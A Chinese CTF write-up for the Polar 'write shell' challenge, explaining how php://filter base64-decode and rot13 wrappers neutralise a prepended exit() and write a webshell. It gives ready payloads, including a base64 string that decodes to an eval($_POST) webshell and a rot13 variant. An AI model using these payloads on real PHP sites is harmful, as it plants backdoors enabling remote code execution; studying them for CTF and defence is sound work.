Polar 写shell

Polar 写shell

直接给了源码

image-20231205141139730

还是没啥好说的,考点是die()死亡函数绕过不同变量

**绕过原理:

**通过base64解密或rot13解密使"<?php exit();"变为乱码,而传入的$content为base64编码,解码后为正常shell语句。通过这种方式使前者失效。

构造payload:

  1. base64
GET:?filename=php://filter/convert.base64-decode/resource=1.php

POST:content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==

(也可以是php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php,自动将<?php?>全部删掉)

base64位数问题可以在前面加几个a补上,如aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==。加几个a可以把die语句和base64恶意代码一起放在解码中,几个a能解出来就加几个。

  1. rot13
GET:?filename=php://filter/write=string.rot13/resource=2.php

POST:content=<?cuc riny($_CBFG[n]);

getshell

image-20231205141705591


相关推荐

  1. PHPadminshell的方法

    2024-03-10 15:20:02       34 阅读
  2. MySQLshell的问题

    2024-03-10 15:20:02       41 阅读
  3. 导出docker MySQL中的数据库一个shell 脚本

    2024-03-10 15:20:02       45 阅读
  4. 一个shell脚本:进入pod服务运行命令

    2024-03-10 15:20:02       44 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-10 15:20:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-10 15:20:02       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-10 15:20:02       87 阅读
  4. Python语言-面向对象

    2024-03-10 15:20:02       96 阅读

热门阅读

  1. 【学习心得】webpack技术在爬虫逆向中的应用

    2024-03-10 15:20:02       43 阅读
  2. 如何学习ChatGPT?从入门到精通(附资料下载)

    2024-03-10 15:20:02       126 阅读
  3. EF框架常见异常处理汇总

    2024-03-10 15:20:02       46 阅读
  4. L1-095 分寝室(PTA)

    2024-03-10 15:20:02       32 阅读
  5. 计网|谢希仁版|第一章课后习题

    2024-03-10 15:20:02       38 阅读
  6. 人工智能、深度学习、机器学习书目推荐

    2024-03-10 15:20:02       46 阅读
  7. C++ 疑难点

    2024-03-10 15:20:02       37 阅读
  8. STM32 (1)

    STM32 (1)

    2024-03-10 15:20:02      52 阅读
  9. 一次压测经验过程的经验记录

    2024-03-10 15:20:02       46 阅读
  10. Hudi小文件压缩

    2024-03-10 15:20:02       43 阅读
  11. php 面试题目

    2024-03-10 15:20:02       44 阅读
  12. git fetch 合并远程仓库到本地

    2024-03-10 15:20:02       52 阅读
  13. 大数据开发(Hadoop面试真题-卷五)

    2024-03-10 15:20:02       41 阅读